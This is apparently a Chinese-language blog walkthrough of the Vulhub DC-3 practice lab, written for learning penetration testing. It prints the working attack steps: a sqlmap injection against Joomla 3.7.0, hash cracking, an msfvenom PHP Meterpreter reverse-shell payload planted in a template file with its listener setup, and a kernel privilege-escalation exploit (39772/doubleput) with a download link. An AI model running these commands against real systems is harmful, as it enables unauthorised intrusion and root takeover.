Vulhub-DC-3靶场
Vulhub-DC-3靶场
前言
今天把DC-3的靶场打了一遍,可以说这个靶场用到的思路是非常经典的,从信息搜集到漏洞利用包括内核提权。最最重要的是为了下载它的提权EXP,我它喵还花了一块二买了个CSDN站的代下载。DC-3靶场只有一个Flag,通过本篇博客,我们可以学到如下几点:
1.内网主机信息探测
2.JoomScan漏洞探测
3.MSF制作PHP马
4.python回显shell
5.Linux内核提权
正文
信息搜集
首先来一波传统艺能arp-scan,得到信息如下,发现存活主机10.0.2.6:
arp-scan -l

结合nmap获得如下信息
nmap -sV -Pn -A -p- -v 10.0.2.6

访问页面后发现是Joomla,所以直接上JoomScan,此工具使用方法较为简单,执行后出现如下信息:
Joomscan -u http://10.0.2.6:80/

SQL注入获取后台密码
因为得到他是Joomla3.7.0的CMS,并且爆出了后台路径和可执行路径。
并且通过查询exploit-db,Joomla3.7.0CMS存在SQL注入,漏洞利用方法如下
sqlmap -u "http://10.0.2.6:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
根据SQLMAP,查询到在数据库Joomladb下的#__users表下存在如下账户数据。

这个Password将它保存至文本中,然后使用Jhon去破解。
Jhon破解hash
Jhon的使用教程:https://www.cnblogs.com/HelloCTF/p/13346125.html
Jhon po.txt

得到密码snoopy,通过它我们访问之前扫描到的后台网页成功登录。
后台上传MSF木马
因为我们之前看到可访问的路径有components,templates等,在templates组件下发现可以直接修改编辑文件。

考虑直接上传MSFvenom生成的木马,继而反弹至msfconsole。过程如下:
MSF制作PHP木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R>test1.php
为了避免上传之类的麻烦,我直接将内容粘贴至component.php

MSF建立会话
#1.使用Handler模块
msf6 >use exploit/multi/handler
#2.设置payload
msf6> set payload php/meterpreter/reverse_tcp
#3.设置监听IP
msf6> set LHOST 10.0.2.15
#4.设置监听端口
msf6> set LPORT 4444
#开启监听
msf6> run
开启监听后,当我们访问http://10.0.2.6/templates/beez3/component.php,即可得到会话

系统提权
此时进入shell,发现看不到命令提示,使用python进入伪终端。

发现find可以使用,查看是否可以利用的SUID,结果并不理想。可能性比较大的ping也尝试失败。考虑内核提权,进行信息搜集
#查看系统内核
cat /pro/version
#查看分发信息

通过本地数据库进行查询,发现如下可利用的。

又因为gcc可以使用,便尝试使用43418.c,42275.c,均以失败告终。最终通过使用39772.txt中的漏洞利用方法成功。
具体内容可自行查看39772.txt,在此讲述操作流程,首先下载39772.zip至kali本地。
39772.zip:链接:https://pan.baidu.com/s/1UJam_nqqB770JiO5sco2lQ
提取码:92t7
然后通过msf upload 进行上传
meterpreter> upload 39772.zip
上传成功通过伪终端进行解压,并且进行执行,具体命令如下:
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf*
./compile.sh
./doubleput
最终得到root权限,获取flag.

Vulhub-DC-3靶场的更多相关文章
- Vulhub-DC-2靶场
Vulhub-DC-2靶场 前言 最近一直忙于学习代码审计和内网渗透,所以靶场这方面的文章一直未更新,但是计划是更新完DC系列靶场的,这个不会鸽. DC-2的靶场是很简单的一共5个flag. 正文 f ...
- Kali-2020 配置Docker
Kali 2020 安装Docke 为什么在Kali上安装Docker? Kali有很多工具,但是您想运行一个不包含的工具,最干净的方法是通过Docker容器.例如,我正在研究一个名为vulhub的靶 ...
- 推荐开源靶场Vulhub
转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...
- 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记
伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...
- kali中安装漏洞靶场Vulhub(超详细)
前言 我们都知道,在学习网络安全的过程中,搭建漏洞靶场有着至关重要的作用.复现各种漏洞,能更好的理解漏洞产生的原因,提高自己的学习能力.下面我在kali中演示如何详细安装漏洞靶场Vulhub. 什么是 ...
- kali中安装漏洞靶场Vulhub
一.什么是vulhub? Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加 ...
- 阿里云服务器搭建vulhub靶场
阿里云服务器搭建vulhub靶场 环境 服务器:阿里云服务器 系统:centos7 应用:vulhub 步骤 vulhub需要依赖docker搭建,首先安装docker. 使用以下方法之一: # cu ...
- Vulhub靶场搭建教程
Vulhub靶机环境搭建 Vulhub地址: Vulhub下载地址 一.所需环境 1.Ubuntu16.04 2.最新版本Docker 二.安装之路 1.下载Ubuntu16.04下载地址(迅雷下载6 ...
- Jenkins高危代码执行漏洞检测/开源漏洞靶场
漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...
- 【转】Vulhub - 开源的安全漏洞学习与复现项目
转载于:https://uk.v2ex.com/t/485611#reply15 Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场 ...
随机推荐
- hdu 4686 Arc of Dream 自己推 矩阵快速幂
A.mat[0][0] = 1, A.mat[0][1] = 1, A.mat[0][2] = 0, A.mat[0][3] = 0, A.mat[0][4] = 0; A.mat[1][0] = 0 ...
- HDU 4821 2013长春现场赛hash
题意: 一个字符串S 问其中有几个子串能满足以下条件: 1.长度为M*L 2.可以被分成M个L长的小串 每个串都不一样 分析: hash方法,一个种子base,打表出nbase[i]表示base的 ...
- ACM金牌选手整理的【LeetCode刷题顺序】
算法和数据结构知识点图 首先,了解算法和数据结构有哪些知识点,在后面的学习中有 大局观,对学习和刷题十分有帮助. 下面是我花了一天时间花的算法和数据结构的知识结构,大家可以看看. 后面是为大家 精心挑 ...
- 初探 Redis 客户端 Lettuce:真香!
一.Lettuce 是啥? 一次技术讨论会上,大家说起 Redis 的 Java 客户端哪家强,我第一时间毫不犹豫地喊出 "Jedis, YES!" "Jedis 可是官 ...
- 14 shell 函数
1.shell函数的定义与调用 2.shell函数参数 3.函数返回值 1.shell函数的定义与调用 Shell 函数定义 说明 函数定义的简化写法 函数调用 function name() { ...
- VLAN间路由
三种方式 通过路由器 通过单臂路由(子接口) 通过三层设备三层交换机
- 小哈学python----一行代码输出特定字符"Love"拼成的心形
print('\n'.join([''.join([('Love'[(x-y) % len('Love')] if ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2* ...
- c语言:getchar() getch()回显
//getch() 不回显函数,当用户按下某个字符时,函数自动读取,无需按回车 //所在头文件:conio.h 从控制台读取一个字符,但不显示在屏幕上 //int getchar() //头文件:#i ...
- C语言中函数的返回值
规则 除局部变量的内存地址不能作为函数的返回值外,其他类型的局部变量都能作为函数的返回值. 我总结出下面这些规则: int.char等数据类型的局部变量可以作为函数返回值. 在函数中声明的指针可以作为 ...
- Java多线程(上)
Java多线程 程序.进程和线程 一.程序 程序是存储在磁盘上, 包含可执行机器指令和数据的静态实体. 即进程或者任务是处于活动状态的计算机程序. 二.进程 进程是资源(CPU.内存等)分配的基本单位 ...